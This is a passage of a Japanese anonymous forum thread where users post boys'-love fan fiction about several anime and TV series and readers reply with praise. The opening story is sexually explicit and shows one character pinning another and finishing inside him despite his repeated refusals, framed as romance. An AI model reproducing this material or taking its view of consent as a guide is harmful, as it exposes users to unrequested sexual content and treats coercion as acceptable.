「はぁ…あ!あっ、ああ…!」
 途切れ途切れの悪/奴弥守の嬌声。
 内部を悪/奴弥守の唾液で濡らしながら、自分の唾液で悪/奴弥守を濡らしていく螺/呪羅。
 不意に、悪/奴弥守が右足を伸ばして先を敷布に引っ掛け引きつらせた。
 達する直前の、悪/奴弥守の癖だ。
 それを螺/呪羅は、根元をまるで栓でもするようにきつく止め、絶頂をさえぎる。
「螺/呪羅……!」
 悲鳴のような悪/奴弥守の声。
 それを聞こえないふりをして、螺/呪羅は悪/奴弥守の両足を抱え上げると自分の体を間に滑り込ませた。
 頭の先から足の先まで駆け巡る甘い衝撃。
 挿入。
<> 鎧 幻×闇 12/14<>sage<>2006/11/05(日) 13:10:23 ID:G4cZgE8S0<> 「ふ、う、…くっ…あ、ら、じゅら……」
 甘く掠れた悪/奴弥守の声はもはや泣き声に近い。
 その頬の十字傷に軽く口付ける。
 そのまま閉じられた瞼、前髪、眉間。
 その度に螺/呪羅の長い青灰色の髪が悪/奴弥守の黒髪にかかる。
「んっ……」
 忙しない呼吸がいくらか落ち着いたのを見計らい、螺/呪羅は体を動かし始める。
 体を引き、そして突き上げる度に、悪/奴弥守は切羽詰った声を上げる。
 その表情、姿態に、螺/呪羅は眼を奪われる。
 戦場では黒狼剣を振るい、山犬を使い、暗黒を支配して敵を情け容赦なく叩き斬り、返り血に酔う男――――
 それが自分の下に組み敷かれ、奥まで突き入れられて、こんな表情をする。
 戦での悪/奴弥守を思い出した途端、体の芯が震えた。
 沸き起こってきた衝動のままに、悪/奴弥守をより深く抉る。
 奥へ、奥へと身を進めるごとに、悪/奴弥守は身を反り返し、甘い叫びを上げつづける。
「やっ、も、もぅ…螺/呪羅……あつっ、熱い……から、はず、はず……せっ……」
「出したいのか?」
 もう限界な事は分かっていながら螺/呪羅は淡々とした声で聞く。
 悪/奴弥守は何度も頷いた。
 根元を締め付けていた指をほどき、唾液と先走りにぬめりきっていたそれをやや乱暴に数度しごく。
「ふっ……あぁああ……!」
 悪/奴弥守は螺/呪羅の背中に爪を立て、かきむしりながら、激しく己の精を放った。
 瞬間、それ自体が生き物のように収縮を繰り返す悪/奴弥守の内部。
「……っ!」
 声には出さないもののそれをダイレクトに感じ、螺/呪羅は声を殺す。
 追い詰められていた分、放出の快楽は凄まじくて、悪/奴弥守はしばし呆然と余韻に浸った。
 その恍惚とした表情を見つめながら螺/呪羅が低く告げる。
「出すぞ。」
 開始される律動。
「なっ……やめ、ちょっと、待て……螺/呪羅、よせ……!」
 正気に返った悪/奴弥守は慌てて螺/呪羅を止めようとした。
<> 鎧 幻×闇 13/14<>sage<>2006/11/05(日) 13:10:57 ID:G4cZgE8S0<> 「な、中は、ダメだ……!やめろ、螺/呪羅、中には……やめっ……!」
 押しとどめようとする悪/奴弥守の両腕を掴み、布団の上に押さえつける。
 達した直後で体に力が入らない上、自分よりも長身の男にのしかかられている悪/奴弥守は、そうされるともう反撃する事が出来ない。
 突き上げられながら息を荒げ、ただ悲鳴を繰り返すだけだ。
「い、や……だ……!」
 そう叫んだ途端、体の中に熱い液体がそそぎこまれたのを感じ取り、悪/奴弥守は息を止める。
「……………」
 螺/呪羅が深く息を吐く。
 そうして、ゆっくりと自身を悪/奴弥守の中から引き抜いた。
 続けて、トロリと白い液体があふれ出てくる。
 思わずそれを凝視する。
 途端に、頬に激痛が走った。
 起き上がった悪/奴弥守が右手で螺/呪羅の顔を張り倒したのだ。
「……中には出すなと言ったはずだ。」
 濃紺の眼を吊り上げて怒る悪/奴弥守。
「悪かった。つい、節制がきかなくてな。」
 悪/奴弥守は沈黙して身構える。
 この男が素直に謝るということは、何かとんでもない要求を隠し持っているということだ。
「詫びといっては何だが……」
 差し出された右手を掴み、その甲に軽く口付ける。
 悪/奴弥守を見やる、自信に満ちた蒼い隻眼。
不始末をしでかした分、続行して快楽を与えてやる、というわけか。
 この男の色事に関しての自信は本当にタチが悪い。
 何しろ、ただの自信ではなく完全に実力と実績が伴った自信なのだ。
「この色魔!」
 そう毒づく悪/奴弥守の手を引っ張って腕を手繰り寄せる。
 必然的に螺/呪羅の胸にもたれかかる形になった悪/奴弥守は、その紫色の小袖の襟首を掴んで両側に広げた。
「貴様も脱げ。」
 漆黒の闇の中、螺/呪羅が微かに笑う。
<> 鎧 幻×闇 14/14<>sage<>2006/11/05(日) 13:13:18 ID:G4cZgE8S0<> 闇の鎧・漆黒は暗闇によって安眠を誘う。
 闇神殿の最奥、悪/奴弥守の寝所は幾重にも張られた結界によって昼間でも鼻をつままれても分からないような闇に包まれ、
眠りで心身の急速ながら無理のない回復を行う。
 だから、その一室は普段なら光が差し込む事はないはずだった。
 ありえないはずの陽光を感じ、螺/呪羅はうっすらと片目を開ける。
「起きたか。」
 布団の中の螺/呪羅に背を向けたまま、悪/奴弥守が言った。
和箪笥を前に、なにやら苦戦している。普段の小袖姿ではない。
 黒が基調のカッチリした、だが動きやすそうな洋服を着ている。
(みりたりい…という奴か。)
 螺/呪羅も悪/奴弥守ほどではないが人間界に降りる事は以前よりもはるかに多い。
 ある程度の風俗は把握していた。
「その洋服、どうした。」
「光輪に選んでもらった。小袖姿では人目を引きすぎるのでな。」
 そう言いながら、ようやく見つけた指なし手袋を手にはめる悪/奴弥守。
 征/士はどうやら悪/奴弥守の身に付ける小物にまで口を挟んでいるらしい。
 それを知り、螺/呪羅は引っかかるものを感じた。
脱ぎ捨てた小袖を形ばかり羽織り、悪/奴弥守の背後に立つ。
「一日で帰ってくるのか?」
「当たり前であろう。人間界に二日も三日も留まる理由はないわ。」
 怪訝そうな顔をする悪/奴弥守に螺/呪羅は苦笑する。
「光輪の二十歳の祝、知らなんだ故に何も準備しておらぬが、俺からも祝の言葉を伝えてくれ。“今度手合わせする時が楽しみだ”とな。」
「……先に光輪と手合わせするのは俺だぞ。」
 嫌そうな顔をする悪/奴弥守のミリタリーシャツの襟を引いて首筋を露にし、見えるか見えないかぎりぎりのラインに吸い付く。
「……螺/呪羅。」
 制してもしつこく吸い上げる螺/呪羅に辟易し、悪/奴弥守は体の向きを換えると螺/呪羅の口に口を重ねる。
 今更そんなことをしなくても、悪/奴弥守の体には螺/呪羅の痕が存分に刻まれていた。
 しかし、悪/奴弥守は知らない。
 それが人間界に降りた彼をどれほどの危機に晒すことか―――――。
 だが、それはまた、別の話。
<> 風と木の名無しさん<>sage<>2006/11/05(日) 13:14:21 ID:G4cZgE8S0<>  ____________
 | __________  |
 | |                | |
 | | □ STOP.       | |
 | |                | |           ∧_∧ ヒトリデコソーリミルヨ
 | |                | |     ピッ   (・∀・ )
 | |                | |       ◇⊂    ) __
 |   ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄  |       ||―┌ ┌ _)_||  |
 |  °°   ∞   ≡ ≡   |       || (_(__)  ||   |
 ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
長すぎましたね。しかも失敗だらけ。ああもう。
鬱出汁脳。 <> 風と木の名無しさん<>sage<>2006/11/05(日) 15:57:42 ID:30LN20YV0<> >>521
小道具もちょっとしたエピソードもしっかり平安で
笑える要素もありつつシリアスでGJ!GJ!
剛毅な母者の描写大好きだw <> 風と木の名無しさん<>sage<>2006/11/05(日) 20:01:00 ID:Bp8tw4jR0<> >538
GJGJ!!
ナツカシス!!
あの頃の思い出とともに、萌えが再燃しそうですよ、姐さん… <> 風と木の名無しさん<>sage<>2006/11/05(日) 20:39:32 ID:INhT6T1WO<> >>538姐さんGJ!
自分の萌えも暴発しそうだ…! テラモエス <> 超常兄弟<>sage<>2006/11/06(月) 02:32:31 ID:31rI8oae0<>
 ____________
 | __________  |      また懲りずに、例の弟×兄
 | |                | |      前回の弟視点から ベタネタ
 | | |> PLAY.       | | 
 | |                | |           ∧_∧
 | |                | |     ピッ   (・∀・ ) オトウトモナンカヘタレ
 | |                | |       ◇⊂    ) __
 |   ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄  |       ||―┌ ┌ _)_||  |
 |  °°   ∞   ≡ ≡   |       || (_(__)  ||   |
 ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄

<> 1/2<>sage<>2006/11/06(月) 02:33:14 ID:31rI8oae0<>
サム、と誰かに呼ばれた気がした。

徐々に意識が浮き上がる。
心地よく響くその声は、自分のよく知っている者の声だというのがなぜか何よりも先に分かった。

がさがさと何かが動く気配。閉じた瞼の裏、テレビの光がチカチカと明滅する。
瞼の裏が再び暗闇になり、誰かがテレビを遮るようにソファーの前に立ったのを感じた。
その影が動くたび、石鹸の香りが仄かに香る。 兄だ。
悪夢に目覚める前、僕は兄が浴びるシャワーの音を聞きながら眠りに落ちたはずだ。

目を開こうと思ったけれど、どこか落ち着かない様子の兄に、もう少しこのままで待ってみようと思った。

影が動き、再びテレビの光が広がる。その光がまた遮られたかと思うと何かが体を覆い、直ぐにそれは
温もりとなって僕の体に広がった。
それは兄らしくない気遣いだった。 <> 2/2<>sage<>2006/11/06(月) 02:37:47 ID:31rI8oae0<> すっかり混乱した僕は今度こそ目を開こうと思った。
しかしその前に毛布よりも暖かい何かが頬を包み、瞼、額の順に柔らかく、微かに湿ったものがやさしく押し付けられた。
それが唇であると思考が結論を出す前に、それは己の唇に触れた。

長く、しかし本当にただ押し当てるだけのキス。実際はもっと短い時間だっただろう。
だがその瞬間僕の時間は確かに止まったのだ。
温度が離れ、時間が再び還ってきた。
兄にばれない様、呼吸を必死で一定に保つ。

「おやすみ サミー」
当の兄本人は驚くほどやさしい声でささやいた後、何故か猛スピードでベッドに飛び込んだ。

兄の寝息が聞こえてきた頃、ようやく眼を開き深呼吸した。自分を落ち着かせるために。
どうやら兄は自分が起きていることに気づかなかったようだ。 我ながらよくやったと思う。
もし終わることのないこの仕事が終わったとき、役者にでも転職しようと思ったほどだ。

兄のそれが触れた唇を手で覆った。考えたこともない、兄の唇の意外な柔らかさに全身の細胞が騒ぎ立てる。

「Damn!!」
せっかく寝つけていたのに、これではまた眠れない。
翌日は絶対寝不足になると、そう確信しながら顔を両手にうずめた。その紅さを隠すために。 <> 超常兄弟<>sage<>2006/11/06(月) 02:42:38 ID:31rI8oae0<>  ____________
 | __________  |
 | |                | |
 | | □ STOP.       | |
 | |                | |           ∧_∧ 
 | |                | |     ピッ   (・∀・;)  何処の中学生/日記かと
 | |                | |       ◇⊂    ) __
 |   ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄  |       ||―┌ ┌ _)_||  |
 |  °°   ∞   ≡ ≡   |       || (_(__)  ||   |
 ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
以上で終り しつこくシーマシェーン
あと、スラングはネトで漁ったやつで正しいかはかなりぁゃιぃ
お付き合いありがとうございました <> 風と木の名無しさん<>sage<>2006/11/06(月) 09:26:15 ID:XDVcAIt+0<> >521
素晴らしい!GJ
双子燃え萌えでなにげに2ch語・脇キャラにワロタ。でもしっかり平安なんだよなあ。凄い。
>538
悪/奴弥守カワユス!自分も再燃しそうだー
螺/呪羅の痕が元で晒される危機の話、是非とも読ませて下さい! <> 風と木の名無しさん<>sage<>2006/11/06(月) 13:21:43 ID:hrhYVvO/0<> >>542
ベタでも好きだよ弟兄ww
可愛くて禿げそうです(*´Д`)
damnの使い方も合ってるとオモ。ちょっと照れ隠しにしちゃちょっと酷すぎる気もするけど。 <> 風と木の名無しさん<>sage<>2006/11/07(火) 14:31:35 ID:QserHWRu0<> >521
GJ!!!
平安もので双子の兄弟でしかも2chww
流石フィルター付けたけど脳内では美麗な平安男子ですたwwwうはwww
そこかしこのネタもおもしろく読みやすかったです。萌え&燃えをありがとう <> 金髪さんと赤毛さん<>sage<>2006/11/07(火) 15:13:24 ID:5cYc0nvV0<>  ____________
 | __________  |
 | |                | |   無駄に長い宇宙歌劇赤受風味
 | | |> PLAY.       | | 
 | |                | |           ∧_∧
 | |                | |     ピッ   (・∀・ ) ウヘァボボーン
 | |                | |       ◇⊂    ) __
 |   ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄  |       ||―┌ ┌ _)_||  |
 |  °°   ∞   ≡ ≡   |       || (_(__)  ||   |
 ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ <> 金髪さんと赤毛さん(1/9)<>sage<>2006/11/07(火) 15:14:33 ID:5cYc0nvV0<> 彼の唇に触りたい。

三時方向、仰角80度辺りにある腹心の友の顔を眺めていたら、唐突にそんな欲求が湧き上がった。
これが髪や項ならば話は簡単で、いつもの様に指一本で手招いてこちらに屈ませればすむ。その後、紅
玉を溶かした如き見事な赤毛や少しひやりとした皮膚の感触を、指先と掌で思う存分味わえば良いのだ。
ここは艦橋ではあるが上官達のそういった戯れは日常茶飯事なので、前方で操作卓に向かう士官や後方
に控える兵達は何も気にせぬだろう。

だがそれも、髪、耳、頬、首くらいが限界で、流石に唇はまずいだろうという認識が金髪の年若い指揮
官にもある。手もやめた方が無難かもしれぬ。
実は、事ある毎に副官のチェリー・ブロンドを玩具にして遊ぶ指揮官の行動に関しては様々な物議が醸
されており、当の二人だけが不穏な噂に気付いていない。それは指揮官に個人的な忠誠を誓う部下達の
根回しの賜物だが、仮に『噂』を関知したとしても彼らは一笑に付し何ら習慣を変える事はないだろう。

先程までは。
だが今現在、指揮官は親友の唇の感触を触って確かめてみたいという衝動と戦っている。

軽く結ばれ正面の大透過壁の方を向いているそれは、少し厚めで形は整っており下唇の方がふっくらし
ている。横から見ると、ほんの心持ち突き出ていて嘴の様で妙に微笑ましい。殆ど常に淡い微笑を湛え、
こちらからでは見えない向こう側の口端も、僅かに上がっているのだろう。

計器類は熱を嫌うので室温は摂氏16度前後に保たれている為、表面温度はやや冷たいに違いない。宇宙
船の中というのは乾燥しているから、少し荒れているようだ。後でリップクリームを勧めた方が良いだ
ろうと判断する。
頭皮や首筋、こめかみの感触を思い起こす。やはり体温は低めだ。肌理が細かく張りがあって素肌の部
分は指を這わせても引っ掛かりを感じる事は少ない。唇は多少ざらついているかもしれぬが、他の部分
と同じく弾力があり男性らしくどちらかといえば硬いのだろう。 <> 金髪さんと赤毛さん(2/9)<>sage<>2006/11/07(火) 15:15:35 ID:5cYc0nvV0<> 指揮官自身、皇帝の寵姫たる姉に酷似した美形なのだが、人間の容姿というものにはさして重きを置い
ていなかった。しかし、改めてじっくり親友の顔を観察してみると、なかなか甘く端正な容貌をしてい
ると思う。
そう言えば親友は昔から女性にもてた。自分に群がるような伯爵家の家名につられた貴族の令嬢とは違
い、それこそやんごとない宮廷の貴婦人から小間使いまで、絶大な人気があるらしい。どういうわけか
誰とも交際せず、今日まで来ているようだが。

自分が与り知らぬだけで、副官には然るべき交際相手がいるのかもしれない。例えば、時折ただならぬ
視線を送ってきている才色兼備の男爵夫人とか。
そこまで考えて、指揮官の白い眉間に僅かな皺が寄った。

「閣下、いかがなさりましたか?」

不意に穏やかな声が鼓膜を柔らかく打つ。気付けば親友の顔がすぐ傍にあり、控えめに案じる風情でこ
ちらを覗き込んでいた。
どうやら凝視し過ぎたらしい。

「……いや。珈琲が飲みたいと思ってな」

言葉にしてしまってから、甚だ下手な言い訳である事に気付く。因みにこの間、条件反射で咄嗟に伸び
た指揮官のしなやかな指はしっかりと赤い髪に絡まっていた。
心優しい副官は上官の常ならざる不可解な言動を質すでもなく、仄かな微笑を浮かべる。 <> 金髪さんと赤毛さん(3/9)<>sage<>2006/11/07(火) 15:16:17 ID:5cYc0nvV0<> 「そういえば、昼食以降、何も口になさっていませんね」
「ああ、喉が乾いて……」

くるくるくる。形の良い指が癖のある髪を巻き取り、ごく弱い力で引っ張っては放し新たな一房を求め
て親友の側頭部をさまよう。
きつめに波打つ硬質の毛髪は、多少乱暴に弄っても即座に元の形に戻ってしまう。手櫛で梳く様にする
と、あちこちに跳ねた毛先が指の間を掠めていく。その擽ったい指通りが指揮官は好きだった。

「では、従卒に運ばせましょう」
親友の口から発せられる耳触りの良い言葉を聞き流し、指揮官の指は渦巻く髪から耳へと滑っていく。
襟足やサイドの髪は綺麗に整えられ清潔感を漂わせている。赤毛からすっきり出ている耳殻の曲線をな
ぞり複雑な形を楽しむ。健康的な肌色の首を黒地に銀糸の高い襟が覆い禁欲的というより清雅で、彼は
目を細めてそこから僅かに覗く皮膚へと次いで指先を移動させた。耳の後ろの生え際を擽っていくのも
忘れない。そのさらりとした感覚は確かに指先が覚えているもので、指揮官の口元が微かながらも満足
そうに緩む。
ほんの十数秒、副官は別段不思議がる素振りも見せず上官にされるがままになっており、これが彼らの
常なのだ。

「頼む。いや、待て」
「閣下?」

中腰の姿勢から上体を起こしかけた親友の前髪を指揮官のしなやかな指が摘んで止めた。空いた左手を
顎に添え、何か考えているようだ。
副官は今度は流石に首を傾げ上官の白い顔に控え目に窺う。指揮官のそれより色濃い青の双眸が疑問符
を投げかけている。 <> 金髪さんと赤毛さん(4/9)<>sage<>2006/11/07(火) 15:17:08 ID:5cYc0nvV0<> 「折角だから部屋で飲もう。お前も付き合え」
指揮官は否という返事は丸で想定していないかの様に笑って応えた。
同時に赤い前髪をそよがせた指が頬を伝い顎先で止まる。この金髪碧眼の指揮官の属性には本来、耐え
るとか待つとかといった要素は無い。繊細かつ端麗な美貌に似合わず血の気の多い直情型なのだ。
軍略、政略に関しては無論別の面もあるが、彼という人間の本質は能動的、行動的で紛う事無き動の人
である。

その彼の右人差し指の先から僅か数センチのところに、先程からやたら触れたくて仕方ない唇がある。
正面からだと、上唇の方が少しだけ薄い事がよくわかる。対して下唇は見るからに触り甲斐がありそう
で、ぷにぷにと突きたくなるような感じだ。実に魅力的に見える。
指揮官はここが艦橋で自分は一番目立つ指揮席に座っていて衆目に囲まれている、という事実をつい忘
れ続く動作で副官の唇を触ろうとし――

「かしこまりました。喜んで、閣下」
すっと身体を起こした親友その人によってその目的は達せられずに終わった。
「……ああ」

残念さと安堵相半ばする複雑な心境を覆い隠した平坦な声で指揮官は返答し、滑らかな身ごなしで席を
立つ。それでもなお7センチからの開きがある身長差が面白く無いせいもあり、態度は素っ気無いものに
なってしまう。
副官の方はにこにこと裏表の無い笑みで、口を真一文字に結んであらぬ方を向くなどという曲芸を指揮
官に披露した事はない。もしそんな事になれば激しく狼狽する指揮官の姿が想像に難くないが、副官の
想像の翼は専ら楽しかった幼少時代を飛翔するのが常である。 <> 金髪さんと赤毛さん(5/9)<>sage規制解除?<>2006/11/07(火) 15:27:29 ID:5cYc0nvV0<> 「それと、」
踵を返しあと一歩で遮音壁外、という所で指揮官が振り返り、やや尖り気味の声で副官を呼んだ。名で
はなく姓で。初対面時、古代の叙事詩の英雄と同じ名前に俗っぽいと不評を下した指揮官は、『高原を
吹き抜ける風のよう』とお気に入りの苗字で親友を呼ぶのだ。
その辺りの感性は副官当人には理解が及ばぬが、天使の様に美しい姉弟に大変甘い彼は追求を避けてい
る。
「二人の時は閣下はよせ。いつも言っているだろう」

指揮席を中心とする半径3メートル程の円状に音を遮る透明な隔壁がある為、内部の音が漏れる事はない
し、外部からの音声も機械を通さぬ限り聞こえない。指揮官は面白く無さそうに、軽くではあるものの
親友を睨み付けた。
不機嫌な視線は柔らかい苦笑いに受け止められる。副官の表情に浮かぶのは謝意と少しの困惑と安堵だ。
「すみません、気をつけてはいるのですが」
己の唇が狙われているなどと露知らぬ彼は勘気の原因はこれかと胸を撫で下ろし、眉尻を下げた笑みで
言う。その後、彼の忠誠の対象の望み通り自分だけに許された呼称で彼にとって最も大切な名前を口の
端にのぼらせた。
指揮官の機嫌はたちまちとはいかぬまでも若干上向き、艦長と住所津に指示を出してから足取り軽く自
室への廊下を辿る。後ろから親友がついて来る事を微塵も疑わぬ歩調だ。


短い距離の先の指揮官の私室には既に湯気の立つ珈琲や胡桃の焼き菓子が用意されていた。なかなか気
の利く従卒らしい。 <> 金髪さんと赤毛さん(6/9)<>sage規制解除?<>2006/11/07(火) 15:28:35 ID:5cYc0nvV0<> 指揮官は腹心の友にソファを勧めてから隣室に消えた。応接スペースのある執務室と寝室に分かれてい
るのだ。
先に珈琲に手をつけるわけにもいかず大人しく副官は待っていた。程なく現れた上官は何か小さな物を
手にしており、どこか浮かれた風情ですぐ隣にすとんと腰を下ろす。てっきり向かいに座るものだとば
かり思っていた副官は、些か驚いた様に数度瞬きした。

「こちらを向け。唇が荒れているぞ」
指揮官の方は親友の心情などお構いなしで、薬用リップという大義名分の蓋を嬉々として外す。深緑と
白で構成された小さな円柱形の容器の底を捻って半透明クリーム色の薬剤を2ミリ程くり出す。

呆気に取られている副官の顎を左手で掴まえて軽く固定し、先ずは左の親指を念願の唇に滑らせた。右
から左、左から右へと上弦の曲線を滑らかに描くラインを触れるか触れないかの微妙さでなぞる。予想
通り、荒れてしまって剥けた皮が少し肌を刺す。微かなものだが、上唇より下唇の方がどちらかといえ
ばひどい。
何も抗議の声があがらぬのを良い事に、今度は人差し指の腹で唇の真ん中を突いてみた。予想とは違い、
とても柔らかかった。軽く瞠目した指揮官はその感触を確かめるように二度、三度と僅かに位置をずら
しては同じ動作を繰り返す。

「お前の唇は柔らかいな」

感心した様な顔つきで言われ、副官は絶句した。いや、それ以前からずっと硬直しっ放しだったのだが

何か言おうにも、相手の指先がそこにあるので口を動かすのは憚られる。結果的に無言で上官の奇行に
付き合う事になってしまった。 <> 金髪さんと赤毛さん(7/9)<>sage<>2006/11/07(火) 15:30:22 ID:5cYc0nvV0<> 膝の上に置いていた手が硬く拳を作る。殴ろうというわけではない。この副官が上官に手をあげるなど
有得ない。ただ、困惑し一体どうすれば良いのかわからないでいた。金髪の姉君に微笑を向けられた時
の様に耳朶が熱い。
とは言え指揮官の手付きは愛猫の肉球を愛でる如き無邪気さで、性的な意味は皆無である様に見受けら
れる。羞恥を感じる自分の方がおかしいのだろう。
やわやわと唇の肉を押す様に刺激されるのは不快ではなかったが、他人の指がそんなところにあると思
うとどうしても構えてしまう。しかも上官で幼馴染の相手だ。

白い指が僅かに離れたタイミングを見計らい、意を決して副官は口を開いた。

「あの……」

しかしそこから先が出てこない。『やめて下さい』も『何故こんな事を』も彼の言いたい事とは微妙に
違う。困惑の色濃く上官を見遣るだけだ。
指揮官はハっとした様に手を離した。弾力に富みながらもごく柔らかな質感が素晴らしく、夢中になり
過ぎていたようだ。

「そうだった。これを塗るんだったな」
「いいえ、そういう事ではなく」
「こら、動くな」

副官が上官の命に逆らえるわけがない。再び口をを噤んで、されるがままに清しい香りのリップクリー
ムが自らの唇に塗布されるのを待つ。
指揮官は丁寧を通り越した丁重な所作で改めて親友の顔を捕まえ、上唇の左端から順に薬剤を塗った。
固形クリームの移動に合わせ、唇表面が少しずつ押し潰されては元の形に戻っていく。無着色なので見
た目は殆ど変わらない。 <> 金髪さんと赤毛さん(8/9)<>sage<>2006/11/07(火) 15:31:10 ID:5cYc0nvV0<> 「よし、終わったぞ。きちんと手入れをしないと駄目じゃないか」

一仕事追え、指揮官は陽光が水晶を通し煌き渡る様な笑顔を親友に向けた。蓋をした容器をテーブルの
端にコトンと置く。無論もう片方の手は赤毛をくしゃくしゃ撫でている。
洗顔には水しか使わないのに、肌荒れそばかすにきびとは無縁の驚異的な美貌の指揮官とは違い、副官
は一応普通の人間だ。素直に頷く。それを必要としなさそうな上官が何故リップクリームなど所持して
いるのだろうという疑問と、何か附に落ちない一抹の蟠りを残して。

「ありがとうございます。気をつけますね」
常と変わらぬ穏やかな微笑で副官が告げ、それを受けた指揮官が嬉しそうに目元を綻ばせる。

卓上の珈琲はぬるくなってしまっていて、微苦笑に変わった副官が新しいものに取り替える為に盆ごと
持ち去ってしまった。
程なく戻ってくるであろう親友を待ち、指揮官は深くソファに身を沈め寛いだ姿勢で足を組んだ。白皙
の顔には落ち着いた微笑というより、満腹した猛獣を思わせる笑みの残滓が漂っており典雅さと鋭気が
違和感なく同居している。
ふと思い立ち、手を伸ばしてリップクリームを手にして自分にも使う。折角あるのだからという軽い考
えの末の行動だが、塗り終わった後につい先程親友に使用したばかりだという事に思い当り、知らず眉
根を寄せた。

難しい表情は不機嫌の発露ではない事は、徐々に頬に朱が差していく事から明らかだ。
指揮官は頭を抱えた。もしかすると、自分はとんでもなく恥ずかしい事をしてしまったのではないだろ
うか。単純に唇に触りたかっただけなのだが、よくよく考えればその欲求のみに従うのは軽挙であった
かもしれない。しかし親友は嫌がっているわけではなかったようだし、問題はない気もする。 <> 金髪さんと赤毛さん(9/9)<>sage<>2006/11/07(火) 15:31:53 ID:5cYc0nvV0<> まったく、指先に心地よい感触だった。是非ともまた撫で回して突きたい。手で触っただけでもあんな
に柔らかくて離し難いのだから、唇で触れればさぞ――。
基本的な問題点が最初から見えていない彼の思考は、どんどん危険な方向に飛躍していく。不埒な想像
に及びかけた指揮官は大慌てで金髪を掻き毟り、親友に対しあるまじき劣情を脳内から追い払う。

3分足らずで再び室内に姿を現した副官は顔の赤い相手を心配し、おでこ同士をくっつけて熱を測ろうと
して大切な上官の症状を悪化させた。


  Ende

<> 金髪さんと赤毛さん<>sage<>2006/11/07(火) 15:35:37 ID:5cYc0nvV0<>  ____________
 | __________  |
 | |                | |
 | | □ STOP.       | |               ネタカブリスマソ
 | |                | |           ∧_∧ ガツーリエロノハズダッタノニ…
 | |                | |     ピッ   (・∀・ )
 | |                | |       ◇⊂    ) __
 |   ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄  |       ||―┌ ┌ _)_||  |
 |  °°   ∞   ≡ ≡   |       || (_(__)  ||   |
 ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
ごめんなさいごめんなさい。
アヌメのキルの唇はぽってり美味しそうでハァハァを抑えられませんでした。 <> 風と木の名無しさん<>sage<>2006/11/07(火) 18:13:20 ID:hMLAlZWr0<> >>549
うわーうわー萌えた萌えたよう姐さん!
ちょうど原作読み返してたとこさ!ありがとうありがとう! <> 風と木の名無しさん<>sage<>2006/11/08(水) 02:42:50 ID:CeGyI8D20<> ちょっ金髪上司テラカワユス(;゚∀゚)=3 <> 金髪さんと赤毛さん<>sage<>2006/11/08(水) 18:02:26 ID:61Y7f99f0<>  ____________
 | __________  |   
 | |                | |  某宇宙歌劇、赤生存で金髪皇帝×赤のパラレル
 | | |> PLAY.       | | 
 | |                | |           ∧_∧
 | |                | |     ピッ   (・∀・ ) 連投スマソ
 | |                | |       ◇⊂    ) __
 |   ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄  |       ||―┌ ┌ _)_||  |
 |  °°   ∞   ≡ ≡   |       || (_(__)  ||   |
 ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
前回は誤字改行ミスてんこもりで失礼しましたorz <> 金髪さんと赤毛さん(1/8)<>sage<>2006/11/08(水) 18:03:20 ID:61Y7f99f0<> 皇帝は近頃、機嫌が芳しくないようである。
原因は周知の事で、宮内尚書始め軍務尚書や姉にまで結婚を勧められ、ついに赤毛の
腹心の友までもが控え目にではあるがそういった事を仄めかし始めたのだ。宇宙艦隊
司令長官は遠回しに、黒髪の男爵夫人は押し付けがましく、再三に渡って結婚はまだ
かとせっつく。新領土から超光速通信が来たかと思えば、真顔で聞かれるのは女性に
ついて。
為政者としてはこの上なく優秀ではあるが、皇帝は聖人君子ではない。これで不機嫌
になるなと言う方が土台無理だ。

専制政治である以上、皇帝の後継者というものが不可欠である事は重々承知している
が、他はともかく親友から結婚を勧められるというのは精神的に非常なプレッシャー
だった。
悩める彼が腹心と恃む赤毛の青年にとって、皇帝との恋愛関係は然程重要ではないの
かもしれぬ。本人の口からきちんとした告白を聞いた事も無いし、まさか不倫に付き
合ってくれる親友ではないだろうから。不倫! 自分で想像し、彼は派手に顔を顰め
た。人差し指の関節にバージンスノーの如く白い歯を立てる。

こんな事態は計算外だった。潔癖なところのある皇帝としても、その様な爛れた関係
に姉と同じくらい大事な青年を巻き込むのは憚られる。
そんな時、つい思うのだ。
親友が女だったら迷うことなく彼に求婚して皇后として冊立し、万事丸く収める事が
できるのに……。

因みに、秘書官は面白そうな観察の視線、親衛隊長は清清しい程の無関心、その脇の
新人は奇異の目を向けているが1光年以下の単位の出来事には姉と親友にしか興味の無
い皇帝は、全く気にしなかった。感知しているかどうかすら怪しい。 <> 金髪さんと赤毛さん(2/8)<>sage<>2006/11/08(水) 18:04:32 ID:61Y7f99f0<>


奇妙な悪寒を感じ、青年は周囲を見回した。
帝都に位置する皇居、豪壮ではないものの美しく磨き上げられた廊下。華美を嫌う主
の好みが反映されている。青年に言わせれば、皇帝以上に美々しく華麗なものなど無
いのだからその住居を飾り立てる事など不必要である。生まれながらの覇者というも
のがこの世には存在する。

上品な装飾が施された観音開きの扉の両脇に立つ兵に答礼しかけ、青年は慌てて会釈
で応えた。軍籍を退いておよそ半年、長年の習慣はなかなか抜けぬものだ。
暗殺者の凶弾から自らを盾に主君を守った彼は、辛くもワルキューレの手を逃れ、変
わらず金髪の姉弟を助け旧叛乱軍現共和政府との間に和平が成立した今、在任僅かの
三長官職を返上し宰相の地位にある。

腹心の為に新領土総督の職を用意していた皇帝は、嘗ての凶事による障害を理由に丁
